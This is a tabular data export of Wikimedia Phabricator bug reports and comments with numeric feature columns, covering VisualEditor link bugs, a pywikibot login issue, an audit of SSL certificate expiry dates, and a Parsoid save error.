https://fr.wikipedia.org/w/index.php?title=Sabine_Huynh&diff=prev&oldid=118802299
https://fr.wikipedia.org/w/index.php?title=Cerizay&type=revision&diff=118828198&oldid=117504304

Please, fix VE so that all those strange links are correct.",Needs Triage,90.0,1442856665,1443113323.0,PHID-USER-o34e5i3eq4nstbvcf26w,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-rtfuhijwnygauf3dsovj,task_description,duplicate,True,c3,3,False,False,True,11,True,2.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,16.0,5.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,16.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,3.8181818181818183,0.8181818181818182,"I've the feeling of seeing more and more cases of external links between double square brackets with an uppercase H for http.

URL
URL
URL

Please, fix VE so that all those strange links are correct."
534137,"VE - External links between [[ ]], with uppercase Http","I think https://phabricator.wikimedia.org/rEVED8e63c9e991adedb2f1d4c1e1d39520aba5bf4fe7 solves it? (If so, we'll know when it lands on Wikipedia).",,,1443092037,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-rtfuhijwnygauf3dsovj,task_subcomment,,True,c3,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,20.0,10.0,10.0,5.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.85,0.95,"I think URL solves it? (If so, we'll know when it lands on Wikipedia)."
112578,login.check_user_exists does not work on private wiki,"self.check_user_exists calls self.site.allusers which requires paraminfo to be loaded.

A direct API request should be used instead (the function already catches the readapidenied error)",Needs Triage,90.0,1442260441,,PHID-USER-muirnivxp5hzppn2a3z7,False,,False,PHID-TASK-nxpr4h354qzw6lhoylyh,task_description,open,True,c3,3,True,False,,10,True,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,5.857142857142857,0.9285714285714286,"self.check_user_exists calls self.site.allusers which requires paraminfo to be loaded.

A direct API request should be used instead (the function already catches the readapidenied error)"
527058,login.check_user_exists does not work on private wiki,Sorry used the wrong bug id accidentally.,,,1442264025,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-nxpr4h354qzw6lhoylyh,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,1.0,Sorry used the wrong bug id accidentally.
527034,login.check_user_exists does not work on private wiki,"Change 238307 had a related patch set uploaded (by XZise):
[IMPROV] site_detect: Fail with more specific error

[[https://gerrit.wikimedia.org/r/238307]]
",,,1442262806,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nxpr4h354qzw6lhoylyh,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,17.0,3.7333333333333334,0.8333333333333334,"Change 238307 had a related patch set uploaded (by XZise):
[IMPROV] site_detect: Fail with more specific error

[[GERRIT_URL]]
"
112542,audit all SSL certificates expiry on ops tracking gcal,"the wmfusercontent.org certificate expired recently, and it should have been on our tracking calendar.

I've created this task to track auditing the existing certificates and ensuring all are on the calendar.",Needs Triage,90.0,1442246755,1443482262.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-4xh6bkjp3oscqappqvm6,task_description,resolved,True,c3,3,True,True,True,10,True,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,8.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,3.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,4.972222222222222,0.8333333333333334,"the wmfusercontent.org certificate expired recently, and it should have been on our tracking calendar.

I've created this task to track auditing the existing certificates and ensuring all are on the calendar."
536794,audit all SSL certificates expiry on ops tracking gcal,"Actually, we'll just create a new task and link.",,,1443482262,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,"Actually, we'll just create a new task and link."
536793,audit all SSL certificates expiry on ops tracking gcal,"google sheet has been updated with the most recent mail purchases and all info has been added to the google calendar for expiry tracking.  each entry has a 4 week notification email set to go to both myself and the ssl renewal alias (intentionally not listed in task)

So while this is 99% complete, we should add in checks in icinga for the various hosts, so I'll be changing the overall subject of the task.",,,1443482244,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,12,True,2.0,0.0,0.0,2.0,1.0,5.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,5.0,14.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,20.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,2.0,2.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,14.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,3.9529411764705884,0.788235294117647,"google sheet has been updated with the most recent mail purchases and all info has been added to the google calendar for expiry tracking.  each entry has a 4 week notification email set to go to both myself and the ssl renewal alias (intentionally not listed in task)

So while this is 99% complete, we should add in checks in icinga for the various hosts, so I'll be changing the overall subject of the task."
536558,audit all SSL certificates expiry on ops tracking gcal,"For the first steps, I've created https://docs.google.com/a/wikimedia.org/spreadsheets/d/1yT5rvoEEUHhNeJAQRVamr8ECqN3TLsMaO8N_At4Ki3I/edit?usp=sharing

This lists off all the one-off certificates listed earlier in this task.  I'll be using it to check against the ops tracking calendar for these renewals and adding the ssl renewals as needed to those entries.",,,1443469029,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,12,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,10.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,3.9615384615384617,0.8461538461538461,"For the first steps, I've created URL

This lists off all the one-off certificates listed earlier in this task.  I'll be using it to check against the ops tracking calendar for these renewals and adding the ssl renewals as needed to those entries."
530184,audit all SSL certificates expiry on ops tracking gcal,"related but slightly tangent to this, we have also other private material that's bound to expire (e.g. puppet CA, gpg keyrings for apt repos, certs for cassandra server/client auth). I was thinking we could extend the checks directly by reading material from private.git locally and alert accordingly, thoughts?",,,1442572522,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,5.0,12.0,3.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,4.47457627118644,0.8813559322033898,"related but slightly tangent to this, we have also other private material that's bound to expire (e.g. puppet CA, gpg keyrings for apt repos, certs for cassandra server/client auth). I was thinking we could extend the checks directly by reading material from private.git locally and alert accordingly, thoughts?"
527324,audit all SSL certificates expiry on ops tracking gcal,"We only have that icinga check on the primary unified cert, which covers the production endpoints for:

- wikipedia.org
- mediawiki.org
- wikibooks.org
- wikidata.org
- wikimediafoundation.org
- wikimedia.org
- wikinews.org
- wikiquote.org
- wikisource.org
- wikiversity.org
- wikivoyage.org
- wiktionary.org

... and all of their mobile subdomains and whatnot.  It's a pretty verbose check, validates functional SSL for all of the SAN domains, checks the cert expiry, etc.

But we don't have any kind of checking in place for the various other misc certs we own that are deployed for smaller or one-off services, or deployed to third parties (or in some cases, rare today but important later - not deployed at all but still critical).  Just looking at puppet's files/ssl/ today, that list is something like:

```
archiva.wikimedia.org.crt
blog.wikimedia.org.crt
dumps.wikimedia.org.crt
ecc-star.wmfusercontent.org.crt
eventdonations.wikimedia.org.crt
ganglia.wikimedia.org.crt
gerrit.wikimedia.org.crt
icinga.wikimedia.org.crt
labvirt-star.eqiad.wmnet.crt
ldap-codfw.wikimedia.org.crt
ldap-eqiad.wikimedia.org.crt
ldap-mirror.wikimedia.org.crt
librenms.wikimedia.org.crt
lists.wikimedia.org.crt
policy.wikimedia.org.crt
rt.wikimedia.org.crt
star.planet.wikimedia.org.crt
star.wmflabs.org.crt
star.wmfusercontent.org.crt
stream.wikimedia.org.crt
tendril.wikimedia.org.crt
ticket.wikimedia.org.crt
toolserver.org.crt
virt-star.eqiad.wmnet.crt
wikitech.wikimedia.org.crt
```

Of those, I can see in our icinga config direct expiry checks only for:
```
lists.wikimedia.org
ticket.wikimedia.org
ldap-codfw.wikimedia.org
ldap-eqiad.wikimedia.org
```
",,,1442282960,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,10,True,2.5,0.5,0.0,0.5,1.0,6.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,1.5,0.0,5.0,8.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,11.5,0.5,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,3.0,1.0,3.5,0.0,4.5,7.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,3.0,8.5,7.0,0.0,0.0,0.0,3.0,0.0,1.0,0.5,0.0,1.0,0.5,0.0,1.5,4.162790697674419,0.6976744186046512,"We only have that icinga check on the primary unified cert, which covers the production endpoints for:

- wikipedia.org
- mediawiki.org
- wikibooks.org
- wikidata.org
- wikimediafoundation.org
- wikimedia.org
- wikinews.org
- wikiquote.org
- wikisource.org
- wikiversity.org
- wikivoyage.org
- wiktionary.org

... and all of their mobile subdomains and whatnot.  It's a pretty verbose check, validates functional SSL for all of the SAN domains, checks the cert expiry, etc.

But we don't have any kind of checking in place for the various other misc certs we own that are deployed for smaller or one-off services, or deployed to third parties (or in some cases, rare today but important later - not deployed at all but still critical).  Just looking at puppet's files/ssl/ today, that list is something like:

``CODE`CODE`CODE``
"
527323,audit all SSL certificates expiry on ops tracking gcal,"We only have that icinga check on the primary unified cert, which covers the production endpoints for:

- wikipedia.org
- mediawiki.org
- wikibooks.org
- wikidata.org
- wikimediafoundation.org
- wikimedia.org
- wikinews.org
- wikiquote.org
- wikisource.org
- wikiversity.org
- wikivoyage.org
- wiktionary.org

... and all of their mobile subdomains and whatnot.  It's a pretty verbose check, validates functional SSL for all of the SAN domains, checks the cert expiry, etc.

But we don't have any kind of checking in place for the various other misc certs we own that are deployed for smaller or one-off services, or deployed to third parties (or in some cases, rare today but important later - not deployed at all but still critical).  Just looking at puppet's files/ssl/ today, that list is something like:

```
archiva.wikimedia.org.crt
blog.wikimedia.org.crt
dumps.wikimedia.org.crt
ecc-star.wmfusercontent.org.crt
ecc-uni.wikimedia.org.crt
eventdonations.wikimedia.org.crt
ganglia.wikimedia.org.crt
gerrit.wikimedia.org.crt
icinga.wikimedia.org.crt
labvirt-star.eqiad.wmnet.crt
ldap-codfw.wikimedia.org.crt
ldap-eqiad.wikimedia.org.crt
ldap-mirror.wikimedia.org.crt
librenms.wikimedia.org.crt
lists.wikimedia.org.crt
policy.wikimedia.org.crt
rt.wikimedia.org.crt
star.planet.wikimedia.org.crt
star.wmflabs.org.crt
star.wmfusercontent.org.crt
stream.wikimedia.org.crt
tendril.wikimedia.org.crt
ticket.wikimedia.org.crt
toolserver.org.crt
virt-star.eqiad.wmnet.crt
wikitech.wikimedia.org.crt
```

Of those, I can see in our icinga config direct expiry checks only for:
```
lists.wikimedia.org
ticket.wikimedia.org
ldap-codfw.wikimedia.org
ldap-eqiad.wikimedia.org
```
",,,1442282906,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,10,True,2.5,0.5,0.0,0.5,1.0,6.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,1.5,0.0,5.0,8.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,11.5,0.5,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,3.0,1.0,3.5,0.0,4.5,7.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,3.0,8.5,7.0,0.0,0.0,0.0,3.0,0.0,1.0,0.5,0.0,1.0,0.5,0.0,1.5,4.162790697674419,0.6976744186046512,"We only have that icinga check on the primary unified cert, which covers the production endpoints for:

- wikipedia.org
- mediawiki.org
- wikibooks.org
- wikidata.org
- wikimediafoundation.org
- wikimedia.org
- wikinews.org
- wikiquote.org
- wikisource.org
- wikiversity.org
- wikivoyage.org
- wiktionary.org

... and all of their mobile subdomains and whatnot.  It's a pretty verbose check, validates functional SSL for all of the SAN domains, checks the cert expiry, etc.

But we don't have any kind of checking in place for the various other misc certs we own that are deployed for smaller or one-off services, or deployed to third parties (or in some cases, rare today but important later - not deployed at all but still critical).  Just looking at puppet's files/ssl/ today, that list is something like:

``CODE`CODE`CODE``
"
527321,audit all SSL certificates expiry on ops tracking gcal,Wasn't there an Icinga check that tested that certificates were good for another x days?,,,1442282549,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,6.0,12.0,12.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,4.352941176470588,0.9411764705882353,Wasn't there an Icinga check that tested that certificates were good for another x days?
527299,audit all SSL certificates expiry on ops tracking gcal,"Since we've had a second cert expire on us unexpectedly now in a span of a few days, I went ahead and audited the expiries on all of the cert files stored in puppet's files/ssl/ directory.  Nothing else is coming up imminently.  There's a batch that will expire in November, but it's the prod SNI certs we're not currently using and don't currently plan to renew.",,,1442280813,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,10,True,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,1.0,5.0,0.0,11.0,12.0,1.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,9.0,1.0,7.0,1.0,4.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,12.0,2.0,0.0,0.0,0.0,6.0,0.0,1.0,5.0,1.0,2.0,0.0,0.0,0.0,3.6790123456790123,0.7407407407407407,"Since we've had a second cert expire on us unexpectedly now in a span of a few days, I went ahead and audited the expiries on all of the cert files stored in puppet's files/ssl/ directory.  Nothing else is coming up imminently.  There's a batch that will expire in November, but it's the prod SNI certs we're not currently using and don't currently plan to renew."
527298,audit all SSL certificates expiry on ops tracking gcal,"Since we've had a second cert expire on us unexpectedly now in a span of a few days, I went ahead and auditing the expiries on all of the cert files stored in puppet's files/ssl/ directory.  Nothing else is coming up imminently.  There's a batch that will expire in November, but it's the prod SNI certs we're not currently using and don't currently plan to renew.",,,1442280797,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,10,True,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,1.0,5.0,0.0,11.0,12.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,9.0,1.0,7.0,1.0,4.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,12.0,2.0,0.0,0.0,0.0,6.0,0.0,1.0,5.0,1.0,4.0,0.0,0.0,0.0,3.691358024691358,0.7407407407407407,"Since we've had a second cert expire on us unexpectedly now in a span of a few days, I went ahead and auditing the expiries on all of the cert files stored in puppet's files/ssl/ directory.  Nothing else is coming up imminently.  There's a batch that will expire in November, but it's the prod SNI certs we're not currently using and don't currently plan to renew."
526764,audit all SSL certificates expiry on ops tracking gcal,this is changing scope to a checklist for all ssl certificate purchases and how to review and audit,,,1442247150,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,10,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,11.0,17.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,4.555555555555555,0.8888888888888888,this is changing scope to a checklist for all ssl certificate purchases and how to review and audit
112496,"Getting occasional ""Parsoidserver-http: HTTP 400"" error when editing Czech Wikipedia using VE","Sometimes we try to save changes we did using VisualEditor but instead get a pop-up with a ""Parsoidserver-http: HTTP 400"" error. This was once experienced by me, one of the students in our education program as well as by her teacher who leads the course, so the problem occurs quite widely. 

The only chance is to go back to the VE and try to save again but this typically displays the same pop-up. In the end, you lose your edit and have to write it again. ",Needs Triage,90.0,1442212737,1442228178.0,PHID-USER-a4edeqdvlofeplcynh6u,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-4qwlexi3l4f2dopv4xt3,task_description,duplicate,True,c3,3,False,False,True,10,True,0.0,0.0,0.0,0.5,0.0,2.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,2.0,0.0,9.5,8.5,0.0,3.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.5,0.5,0.0,0.0,0.0,0.0,11.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,7.5,1.5,5.5,0.0,3.5,9.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,5.5,8.5,2.0,0.0,1.0,0.0,5.5,0.0,0.5,1.0,0.5,0.5,0.0,0.0,0.0,3.619155354449472,0.8246606334841629,"Sometimes we try to save changes we did using VisualEditor but instead get a pop-up with a ""Parsoidserver-http: HTTP 400"" error. This was once experienced by me, one of the students in our education program as well as by her teacher who leads the course, so the problem occurs quite widely. 

The only chance is to go back to the VE and try to save again but this typically displays the same pop-up. In the end, you lose your edit and have to write it again. "
526487,"Getting occasional ""Parsoidserver-http: HTTP 400"" error when editing Czech Wikipedia using VE","It's a duplicate of https://phabricator.wikimedia.org/T112286, for some reason I don't seem able to merge the two.",,,1442227295,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-4qwlexi3l4f2dopv4xt3,task_subcomment,,True,c3,3,False,,,10,True,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,16.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.1578947368421053,1.0,It's a duplicate of URL for some reason I don't seem able to merge the two.
526484,"Getting occasional ""Parsoidserver-http: HTTP 400"" error when editing Czech Wikipedia using VE",It's a duplicate of https://phabricator.wikimedia.org/T112286.,,,1442227150,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-4qwlexi3l4f2dopv4xt3,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,It's a duplicate of URL
